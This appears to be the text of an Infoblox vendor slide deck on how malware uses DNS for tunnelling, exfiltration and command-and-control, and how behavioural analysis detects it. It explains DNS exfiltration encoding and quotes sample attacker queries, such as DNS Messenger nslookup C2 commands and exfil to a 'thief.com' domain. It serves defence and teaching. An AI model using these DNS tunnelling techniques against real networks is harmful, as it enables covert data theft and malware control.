
1 |  © 2013 Infoblox Inc. All Rights Reserved.  1 | © 2017  Infoblox Inc. All Rights Reserved.  

Infoblox
SECURITY. IT’S IN OUR DNS.

Piotr Głaska
Senior Systems Engineer
CCIE #15966 Emeritus



2 |  © 2013 Infoblox Inc. All Rights Reserved.  2 | © 2017  Infoblox Inc. All Rights Reserved.  

1

Reconnaissance
Harvesting email 

addresses, conference 
information, etc.

2

Weaponization
Coupling exploit with backdoor 

into deliverable payload

3

Delivery
Delivering weaponized 
bundle to the victim via 
email, web, USB, etc.

4

Exploitation
Exploiting a vulnerability to 

execute code on victim’s system

5

Installation
Installing malware on 

the asset

7

Actions on Objectives
With “Hands on Keyboard” 

access, intruders accomplish 
their original goal

6

Command & Control (C2)
Command channel for remote 

manipulation of victim

DNS Reconnaissance
DNS Resolution
DNS Infiltration

DNS Tunneling
DNS Exfiltration

DNS DDoS

DNS Resolution
DNS Callback

DNS Tunneling

DNS Protocol Anomalies
DNS Exploits
DNS Hijacking

How DNS is used by malware?
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According to organizations that sustained a breach
Transports used to exfiltrate sensitive data

Source: The SANS 2017 Data Protection Survey
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Exfiltration
DNS as a Transport Mechanism

• Attacker registers a domain & sets up an 

authoritative DNS server on the Internet to act as 

the tunnel endpoint

• Data to be sent from inside network is:

̶ Encrypted using public key

̶ Encoded into a-z, 0-9 and – using algorithm such as 

Base32, which allows up to 110 bytes to be encoded into 

an FQDN

̶ Divided into chunks of up to 63 characters (label limit)

̶ Sent as individual queries in format of <chunk>.domain

• Attacker’s authoritative server receives encoded 

chunks, reassembles data, decodes & decrypts 

using private key

Attacker’s

DNS Server

INTERNET

ENTERPRISE

KS93KDKSK344SD3434DS.100.foo.thief.com

kjhHJhUy7UjfryGF6rHDSFA.101.foo.thief.com

KS93KDKSK344SD3434DS.100.foo.thief.com

kjhHJhUy7UjfryGF6rHDSFA.101.foo.thief.com

Infected 

endpoint

DNS server

Data
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Infiltration
DNS as a Transport Mechanism

• TCP features can be imitated by encoding the chunks with additional data, such 

as Checksum & Packet Number

• Data can be sent back in a variety of records, e.g. 

̶ A - allowing 4 bytes 

(enough for codes, e.g. 1.1.1.200 = resend packet 200)

̶ AAAA - allowing 16 bytes

̶ MX record : 2 bytes + domain name (255 bytes)

̶ CNAME - allowing up to 110 bytes in Base32

̶ TXT - allowing up to 220 bytes in Base64 

̶ NULL - allowing up to 256 bytes

• Using TXT and NULL make transmission faster, at expense of easier detection
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Example: UDPoS

Query format: {Machine ID}.{Message Type}.xxxx.xxxx.xxxx.xxxx.ns.service-logmeln.network

Sample UDPoS exfiltration query:

e8cdf1ce69ec8ac.bin.92147803dbfb02761d8ff388670e02.8deefc89aa0dac073d520cbc94adfc.984e4a43ad6ba

522c570842782c7d8.ee84d77d94396dd5324b60088989cc.ns.service-logmeln.network
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• Discovered 2016, operational since 2011
• Targeted approx 30 organizations and companies
• Steals encryption keys, files, passwords & installs backdoors 
• Uses DNS for C2 & Data Exfiltration
• To avoid generic detection of DNS tunnels, uses low-bandwidth mode 

(30 bytes/request)
• Also leverages DNS protocol for the real-time reporting of the operation 

progress to a remote server. Once an operational milestone is 
achieved, issues a DNS-request to a special subdomain unique to each 
target

Example: Strider / ProjectSauron
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• First version – March 2017
• Another one in October 2017
• Emails with MS Word attachment, leveraging DDE to execute code
• Communication with C2 via DNS queries:

nslookup.exe -type=txt CFCD208495.add.ns1.website ; register bot

nslookup.exe -type=a 4t2XFePTKi.o.CFCD208495.i.ns1.website 

nslookup.exe -type=a 6TnWvZ8Cy97TmK.d.CFCD208495.i.ns1.press

nslookup.exe -type=a 4t2XFePTKi.org.CFCD208495.i.ns4.site

nslookup.exe -type=txt CFCD208495.mx1.ns5.pw ; get mode

nslookup.exe -type=a CFCD208495.www.0.ns1.press

nslookup.exe -type=txt CFCD208495.www.0.ns1.press ; get tasks

Example: DNS Messenger

taskType taskType
21 netsh firewall show state
22 netsh firewall show config
23 schtasks /query /fo LIST /v
24 tasklist /v
16 ipconfig /all
17 route print
18 arp -A
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• July 2018 - a targeted attack using a novel .iqy file type against government agencies

• Tests to see which DNS query types are able to successfully reach the C2 server. It iterates 

through a list of types and the first DNS type to receive a response from the C2 server will be used 

for all between the payload and the C2 server, which are in the following order: 

A, AAAA, CNAME, MX, TXT, SRV, SOA
• Uses the built-in Windows nslookup application and specially crafted subdomains for C2

Example: targetted attack by DarkHydrus

„This adversary has mainly leveraged weaponized

Microsoft Office documents using tools available

freely or from open source repositories such as 

Meterpreter, Mimikatz, PowerShellEmpire, Veil, and 

CobaltStrike.”



10 |  © 2013 Infoblox Inc. All Rights Reserved.  10 | © 2017  Infoblox Inc. All Rights Reserved.  

Malicious Cobalt Strike DNS C2 use
Example: FIN7 / Carbanak Group

Source: https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns

„Before concluding operations for the day, the adversary would set their callback
times to one hour, and change the mode of their communications to use A
resource records (instead of TXT records).”

„The traversal of standard DNS channels make this technique effective for highly
controlled environments where restrictive firewall, web filter or proxy policies are
enforced”

https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns
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Detecting communication over DNS using behavioral analysis
Infoblox Threat Insight

• Introduced in January 2016

• Detects transmission of data in DNS queries using 

behavioral analysis

• Uses patented algorithm (US 2016/0294773 A1)

• Examines all DNS records (e.g.: TXT, A, AAAA)

• Certain attributes add to a threat score; 

others subtract from it

• Final score classifies a request as exfiltration or not

Behavioral 
Analysis

Entropy

Lexical

N-GramFrequency

Size
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• Entropy
̶ Higher Entropy => more information transferred
̶ Legitimate DNS names often have dictionary words or something that 

looks meaningful. 
Encoded names have a higher entropy. DNS names that have high 
entropy can be an indicator of tunneling

Infoblox ThreatInsight
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• N-Gram
̶ Detects non human like domain names based on character 

distribution.  

Focus is on 2- and 3-gram (i.e. sequences of 2 or 3 characters, or 

bigram and trigram analysis).   

Infoblox ThreatInsight
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• N-Gram
̶ Detects non human like domain names based on character 

distribution.  
Focus is on 2- and 3-gram (i.e. sequences of 2 or 3 characters, or 
bigram and trigram analysis).   

Infoblox ThreatInsight
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• Lexical
̶ Analysis of individual characters in domain names
̶ non-letters (numbers or allowed special characters) character ratio
̶ hex /A-F/ character ratio
̶ vowel character ratio

Infoblox ThreatInsight
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• Gini index – how often a randomly chosen character from the domain name would be incorrectly labeled if 

it was randomly labeled according to the distribution of characters in the domain name

• Classification error – measure of the diversity of characters in the string

• Number of Labels – number of domain labels in an FQDN payload

• Frequency:  how often are requests being sent to the same recipient (typically multiple requests to same 

recipient are not common and indicate malicious activity)

Are the queries being repeated at precise intervals?

• Size

Higher payload size => more information transferred

• Other methods – False Positive mitigation, whitelist

Infoblox Threat Insight
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Real test: UDPoS

Detection after ~13 DNS requests
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A typical day in the SecOps team…
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Assess the problem…
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Advanced 
Threat Detection

Threat 
Intelligence Platform

SIEM Vulnerability 
Management

Network 
Access Control

Next-gen
Endpoint Security

Infoblox DDI Appliance with Built-in Security

Security Ecosystem Integrations

Other examples: 
ServiceNow, Tufin, ProofPoint, 
PAN, Fortinet
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Test your network
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Dictionary DGA Detection

Words are used repeatedly!

Suppobox malware domains: walkroad.net
walk  +  road

walk

road

lift

roadlift.net
road  +  lift

DGA words connect differently!

Ask for DNS-based Security Workshop

DGA – Domain Generation Algorithm
An algorithm producing Command & Control (C2) rendezvous 

points dynamically

For example: every day malware connects to time-based server 

FQDN: <month>-<day>-<year>.com

ie. on December 24, 2017 malware connects to 2017-12-24.com

Example 
Family Example Domain

DirCrypt vlbqryjd.com

Bamital b83ed4877eec1997fcc39b7ae590007a.info

CCleaner ab6d54340c1a.com

DNS 
server

C2 Server
IP 135.175.17.35

DNS Reply: NXdomain

DNS Reply: NXdomain

DNS Reply: 135.175.17.35

DNS query: ajdhkbf.info

DNS query: dnskasd.info

DNS query: akdjnfag.info

Malicious Payload

Contact 135.175.17.35

Bot

Bot

1

Reconnaissance
Harvesting email 

addresses, conference 
information, etc.

2

Weaponization
Coupling exploit with backdoor 

into deliverable payload

3

Delivery
Delivering weaponized 
bundle to the victim via 
email, web, USB, etc.

4

Exploitation
Exploiting a vulnerability to 

execute code on victim’s system

5

Installation
Installing malware on 

the asset

7

Actions on Objectives
With “Hands on Keyboard” 

access, intruders accomplish 
their original goal

6

Command & Control (C2)
Command channel for remote 

manipulation of victim

DNS Reconnaissance
DNS Resolution
DNS Infiltration

DNS Tunneling
DNS Exfiltration

DNS DDoS

DNS Resolution
DNS Callback

DNS Tunneling

DNS Protocol Anomalies
DNS Exploits
DNS Hijacking

How DNS is used by malware? Newly Observed Domains (NODs)

Adding NODs into your strategy is a game changer…..

• Block that Phishing domain before its campaign even starts
• Prevent communication to C2 domains before they become widely 

known
• Leverage NODs for enhanced Spam Filtering

• SURBL Fresh – data from registrars (newly registered domains)
• Farsight NOD – data from passive DNS (newly observed domains)
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